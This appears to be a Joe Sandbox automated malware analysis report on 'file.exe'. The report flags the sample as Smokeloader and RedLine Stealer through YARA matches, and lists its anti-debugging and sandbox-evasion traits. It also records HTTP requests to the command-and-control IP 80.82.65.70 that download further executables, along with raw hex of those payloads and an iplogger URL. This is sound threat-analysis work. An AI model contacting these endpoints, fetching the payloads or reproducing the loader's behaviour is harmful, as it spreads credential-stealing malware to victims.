Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1574164
MD5:	0a2e0cf36cb5586fb3ecff4872b27b9d
SHA1:	b8ab43272fbbad21c1985ee536ecd5ccbdc0a761
SHA256:	417e7e396fbadbf07bf6952dbd3c0b6b496bc18871047645879db777552552b1
Tags:	exeuser-Bitsight
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

×

Process Tree

System is w10x64

file.exe (PID: 1436 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 0A2E0CF36CB5586FB3ECFF4872B27B9D)

WerFault.exe (PID: 2696 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 584 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2420979596.0000000000DCC000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10c0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\sNe4DJsADzufDFC4vD39\Y-Cleaner.exe	ReversingLabs: Detection: 75%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 58%			Perma Link
Source: file.exe	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\sNe4DJsADzufDFC4vD39\Y-Cleaner.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004035B0 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		0_2_004035B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B53817 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		0_2_04B53817

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 Dec 2024 00:09:47 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="dll";Content-Length: 242176Keep-Alive: timeout=5, max=86Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 02
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 Dec 2024 00:09:48 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="soft";Content-Length: 1502720Keep-Alive: timeout=5, max=85Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 2f 14 00 00 20 00 00 00 30 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f0 b9 02 00 00 60 14 00 00 ba 02 00 00 32 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 17 00 00 02 00 00 00 ec 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4f 14 00 00 00 00 00 48 00 00 00 02 00 05 00 68 7e 00 00 b8 44 00 00 01 00 00 00 55 00 00 06 20 c3 00 00 10 8c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a ae 7e 01 00 00 04 2d 1e 72 01 00 00 70 d0 03 00 00 02 28 14 00 00 0a 6f 15 00 00 0a 73 16 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 3d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 4d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 b7 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 cb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 d9 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 eb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 1f 01 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 1a 7e 03 00 00 04 2a 1e 02 28 18 00 00 0a 2a 56 73 0e 00 00 06 28 19 00 00 0a 74 04 00 00 02 80 03 00 00 04 2a 4e 02 28 1a 00 00 0a 02 28 1e 00 00 06 02 28 11 00 00

Source: Joe Sandbox View

IP Address: 80.82.65.70 80.82.65.70

Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401940 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,

Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: dHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: sHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache

Source: file.exe, 00000000.00000002.2422434828.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp
Source: file.exe, 00000000.00000002.2420998289.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/download
Source: file.exe, 00000000.00000002.2422434828.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/key
Source: file.exe, 00000000.00000002.2422434828.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/key=
Source: file.exe, 00000000.00000002.2420998289.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download
Source: file.exe, 00000000.00000002.2422630766.000000000596B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/download
Source: file.exe, 00000000.00000002.2420998289.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/download3
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: file.exe, 00000000.00000003.2164247047.000000000586D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161403889.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2164321798.000000000564F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2162923052.000000000596F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174
Source: file.exe, 00000000.00000003.2164247047.000000000586D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161403889.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2164321798.000000000564F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2162923052.000000000596F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://g-cleanit.hk
Source: file.exe, 00000000.00000003.2164247047.000000000586D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161403889.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2164321798.000000000564F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2162923052.000000000596F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://iplogger.org/1Pz8p7

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2420979596.0000000000DCC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D1FD00		0_3_04D1FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D1DF87		0_3_04D1DF87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D29706		0_3_04D29706
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D13120		0_3_04D13120
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D122C0		0_3_04D122C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D1E2C9		0_3_04D1E2C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D24AEE		0_3_04D24AEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D1AA90		0_3_04D1AA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D25219		0_3_04D25219
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D14350		0_3_04D14350
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00403D20		0_2_00403D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402EC0		0_2_00402EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404F50		0_2_00404F50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00410900		0_2_00410900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A306		0_2_0041A306
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB87		0_2_0040EB87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00415E19		0_2_00415E19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EEC9		0_2_0040EEC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004156EE		0_2_004156EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040B690		0_2_0040B690
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_1000E184		0_2_1000E184
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_100102A0		0_2_100102A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BA480		0_2_008BA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00942498		0_2_00942498
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F8497		0_2_008F8497
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009430A8		0_2_009430A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00996CC0		0_2_00996CC0
